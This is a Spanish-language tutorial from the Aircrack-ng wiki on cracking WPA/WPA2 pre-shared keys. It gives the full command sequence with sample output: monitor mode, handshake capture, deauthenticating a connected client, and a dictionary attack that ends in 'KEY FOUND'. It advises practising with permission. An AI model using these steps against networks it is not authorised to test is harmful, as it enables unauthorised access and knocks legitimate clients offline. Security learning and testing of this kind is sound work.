Aircrack-ng

es:cracking_wpa

Tutorial: Como crackear WPA/WPA2

Version: 1.05 May 16, 2007
By: darkAudax
Traducción: 22 de Agosto de 2007

Introducción

Este manual trata sobre como obtener la clave WPA/WPA2 de una red en la que se usa un sistema de clave compartida (pre-shared keys). Es recomendable leer y aprender como funciona la encriptación WPA/WPA2. En el Wiki [http://aircrack-ng.org] puedes encontrar una sección sobre WPA/WPA2.

WPA/WPA2 tiene soporte para otros tipos de autenticación, además de clave compartida. Pero con aircrack-ng SOLO se puede intentar obtener claves pre-compartidas (pre-shared keys). Por lo tanto asegúrate de que airodump-ng te dice que la autenticación de la red es de tipo PSK, y en otro caso, ni intentes averiguarla.

Hay otra diferencia importante entre crackear WPA/WPA2 y WEP. En las claves WEP, se pueden usar métodos "estáticos" de inyección para acelerar el proceso, pero para WPA/WPA2 solo se pueden utilizar técnicas de fuerza bruta. Esto se debe a que la clave no es estática, por lo que recogiendo IVs como para la encriptación WEP, no conseguiremos obtener más rápidamente la clave. Lo único que se necesita para poder iniciar un ataque es el handshake entre el cliente y el AP. El handshake se genera en el momento que el cliente se conecta a la red. Aunque no es exactamente cierto, para los propósitos de este tutorial, diremos que si es verdad: La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres, por lo que parece imposible crackear la clave.

La única forma de obtener la clave es utilizando un diccionario. De tal forma, que si quieres tener una red wireless segura en tu casa, debes usar una clave WPA/WPA2 de 63 caracteres, incluyendo en la misma símbolos especiales.

El hecho de tener que usar fuerza bruta es un inconveniente muy grande. Porque se hace un uso intensivo del procesador del PC, y solo puede probar de 50 a 300 claves por segundo, dependiendo de la CPU. El proceso puede llevar horas o días si se utiliza un diccionario grande. Si estás pensando en generar tu propio diccionario para incluir en el mismo todas las combinaciones posibles, echale un vistazo a este calculador de tiempo: brute force time calculator [http://lastbit.com/pswcalc.asp]. Quedarás sorprendido de la gran cantidad de tiempo que es necesaria.

No hay ninguna diferencia entre el crackeo de redes WPA o WPA2. El método de autenticación es básicamente el mismo. Por lo que las técnicas a usar son idénticas.

Es recomendable que cada uno experimente con su propio punto de acceso wireless, para familiarizarse con estas ideas y técnicas. Si no tienes un punto de acceso propio, recuerda que tienes que pedir permiso al propietario del router con el que quieras practicar este ateque.

Antes de nada hay que darles las gracias a los Desarrolladores de la suite Aircrack-ng [http://trac.aircrack-ng.org] por crear estas herramientas tan fantásticas.

Por favor, enviame cualquier sugerencia, positiva o negativa. Bien sean problemas o buenas ideas serán bienvenidas.

Puntos de partida

Suponemos que:

- Estás usando drivers parcheados para inyección. Usa el injection test Para comprobar que tu tarjeta puede inyectar.
- Estás fisicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP. Deberías confirmar que te puedes comunicar con el AP siguiendo estas instrucciones.
- Usamos la versión 0.9 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente.

Asegurate de que cumples todas las condiciones, sino no funcionará. En los siguientes ejemplos, tendrás que cambiar “ath0” por el nombre de la interface de tu tarjeta wireless.

En los ejemplos, la opción “guión doble bssid” se muestra como ”- -bssid”. Acuérdate de borrar el espacio entre los dos guiones cuando lo utilices en la vida real. Esto tambien se aplica a ”- -ivs”, ”- -arpreplay”, ”- -deauth”, ”- -channel”, ”- -arp” and ”- -fakeauth”.

Equipo usado

Para seguir este manual en tu casa, debes tener dos tarjetas wireless.

En este tutorial, a continuación puedes ver las que yo he usado:

- Dirección MAC del PC ejecutando la suite aircrack-ng: 00:0F:B5:88:AC:82
- Dirección MAC del cliente wireless usando WPA2: 00:0F:B5:FD:FB:C2
- BSSID (dirección MAC del punto de acceso): 00:14:6C:7E:40:80
- ESSID (nombre de la red Wireless): teddy
- Canal del AP: 9
- Interface Wireless: ath0

Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos.

Solución

Contenidos

El objetivo es capturar el handshake WPA/WPA2 y usarlo con aircrack-ng para obtener la clave pre-compartida.

Esto se puede hacer de forma activa o pasiva. “Activa” significa que podemos acelerar el proceso deautenticando a un cliente wireless. “Pasiva” significa que podemos esperar a que un cliente wireless se autentifique en la red WPA/WPA2. La ventaja de la forma pasiva es que no necesitamos inyectar y por lo tanto podremos utilizarla desde Windows.

Aquí estań los pasos que vamos a seguir:

1. Colocar la interface wireless en modo monitor y especificar el canal del AP
2. Iniciar airodump-ng en el canal del AP con filtro de bssid para capturar el handshake
3. Usar aireplay-ng para deautentificar a un cliente conectado
4. Ejecutar aircrack-ng para obtener la clave pre-compartida usando ese handshake

Paso 1 - Colocar la interface wireless en modo monitor y especificar el canal del AP

El propósito de este paso es colocar la tarjeta en el modo denominado modo monitor. En este modo la tarjeta wireless puede escuchar y capturar cualquier paquete en el aire. En cambio, en el modo normal la tarjeta solo “escuchará” los paquetes que van destinados a la misma. Escuchando todos los paquetes, podremos más adelante capturar los 4 paquetes que forman el handshake WPA/WPA2. Y opcionalmente tambien podremos deautenticar a un cliente wireless.

Primero para la interface ath0 escribiendo:

```
airmon-ng stop ath0
```

El sistema nos responderá:

```
Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)
```

Escribe “iwconfig” para comprobar que no hay mas interfaces athX. Deberás ver algo como esto:

```
lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.
```

Si queda alguna interface athX, para cada una de ellas. Cuando termines, ejecuta "iwconfig" para verificar que ya no queda ninguna.

Ahora, escribe el siguiente comando para poner la tarjeta wireless en modo monitor en el canal 9:

```
airmon-ng start wifi0 9
```

Nota: En este comando usamos "wifi0" en lugar de nuestra interface "ath0". Esto se debe a que estamos usando los drivers madwifi-ng y no madwifi-old.

El sistema nos responderá:

```
Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
```

Puedes observar que "ath0" aparece colocada en modo monitor.

Para confirmar que la interface está bien configurada, escribimos "iwconfig".

El sistema nos responderá:

```
lo        no wireless extensions.

wifi0     no wireless extensions.

eth0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:""  Nickname:""
       Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
       Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
       Retry:off   RTS thr:off   Fragment thr:off
       Encryption key:off
       Power Management:off
       Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
       Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
       Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

Podemos ver que ath0 está en modo monitor, en la frecuencia 2.452GHz que corresponde al canal 9 y en "Access Point" vemos la dirección MAC de nuestra tarjeta wireless. Es importante comprobar toda esta información antes de continuar, ya que sino no funcionará.

Para ver la correspondencia entre frecuencia y canal, mira:
http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132] . Así obtendrás la frecuencia para cada canal.

Paso 2 - Iniciar airodump-ng para capturar el handshake

El propósito de este paso es ejecutar airodump-ng para capturar los 4 paquetes del handshake en el momento que un cliente se autentifica con el AP en el que estamos interesados.

Escribe:

```
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
```

Donde:

- -c 9 es el canal de la red wireless
- - -bssid 00:14:6C:7E:40:80 es la dirección MAC del AP. Esto elimina el tráfico de otras redes.
- -w psk es el nombre del archivo en el que guardaremos los IVs.
- ath0 es el nombre de nuestra interface.

Importante: NO uses la opción "- -ivs". Debes capturar los paquetes enteros.

A continuación puedes ver una imagen en la que se vé un cliente wireless conectado a la red:

```
 CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58
```

```
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy

BSSID              STATION            PWR  Lost  Packets  Probes

00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116
```

Y ahora una imagen de la red sin clientes conectados:

```
CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy

BSSID              STATION            PWR  Lost  Packets  Probes
```

Paso 3 - Usar aireplay-ng para deautentificar a un cliente conectado

Este paso es opcional. Solo es necesario realizar este paso si optas por acelerar activamente todo el proceso. El requisito necesario es que se encuentre asociado actualmente con el AP algún cliente wireless. Si no hay ningún cliente wireless asociado al AP, lee el siguiente paso del manual y ten paciencia. No es necesario decir, que si más tarde aparece algún cliente wireless, puedes volver atrás y seguir este apartado del manual.

Lo que se hace en este paso es enviar un mensaje al cliente wireless para desasociarlo con el AP. Entonces el cliente wireless se reautenticará con el AP. En la reautenticacion se generarán los 4 paquetes de autenticacion (handshake) en los que estamos interesados en capturar. Despues los usaremos para intentar obtener la clave precompartida WPA/WPA2.

Prestando atención a la salida del comando airodump-ng del paso anterior, podemos determinar el cliente que se encuentra conectado actualmente. Necesitamos su dirección MAC para el siguiente comando. Abre otra consola y escribe:

```
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
```

Donde:

- -0 significa deautenticación
- 1 es el número de deautenticaciones enviadas (puedes enviar infinitas si lo deseas)
- -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
- -c 00:0F:B5:FD:FB:C2 es la dirección MAC del cliente que queremos deautenticar
- ath0 es el nombre de nuestra interface

A continuación puedes ver la salida del comando:

```
11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]
```

Con un poco de suerte esto causará que el cliente se tenga que reautentificar y capturaremos los 4 paquetes handshake.

Problemas de uso

- Los paquetes de deautenticación se envian directamente desde el PC a los clientes. Por lo que se debe estar físicamente cerca de los clientes wireless.

Paso 4 - Ejecutar aircrack-ng para obtener la clave pre-compartida

El propósito de este paso es conseguir la clave WPA/WPA2 precompartida. Para hacer esto, se necesita un diccionario de posibles palabras. Básicamente, aircrack-ng comprueba cada una de esas palabras para mirar si coincide con la clave.

Hay un pequeño diccionario que se incluye en la suite aircrack-ng - “password.lst”. En el Wiki FAQ puedes encontrar una larga lista de diferentes diccionarios. Se puede usar John the Ripper [http://www.openwall.com/john/] (JTR) para construir un diccionario propio y despues usarlo con aircrack-ng.

Abre otra consola y escribe:

```
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
```

Donde:

- -w password.lst es el nombre del archivo del diccionario. Recuerda que tienes que especificar la ruta completa del archivo si no se encuentra en el mismo directorio.
- *.cap es el nombre del grupo de archivos que contienen los paquetes capturados. Date cuenta que en este caso usamos el comodín * para incluir varios archivos.

Esta es la salida cuando no se encontró ningún handshake:

```
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.

No valid WPA handshakes found.
```

Cuando ocurre esto tienes que volver al paso 3 (deautenticar al cliente wireless) o esperar más tiempo para ver si se conecta algún cliente y se autentifica al AP.

Esta es la salida cuando se encuentra algún handshake:

```
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.

#  BSSID              ESSID                     Encryption

1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
```

En este punto, aircrack-ng intentará encontrar la clave. Dependiendo de la velocidad de la CPU y del tamaño del diccionario, este proceso puede llevar bastante tiempo, incluso días.

A continuación puedes ver que ocurre cuando averigua la clave precompartida:

```
                              Aircrack-ng 0.8


                [00:00:00] 2 keys tested (37.20 k/s)


                         KEY FOUND! [ 12345678 ]


    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD

    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71

    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
```

es/cracking_wpa.txt · Última modificación: 2010/08/29 19:45 por mister_x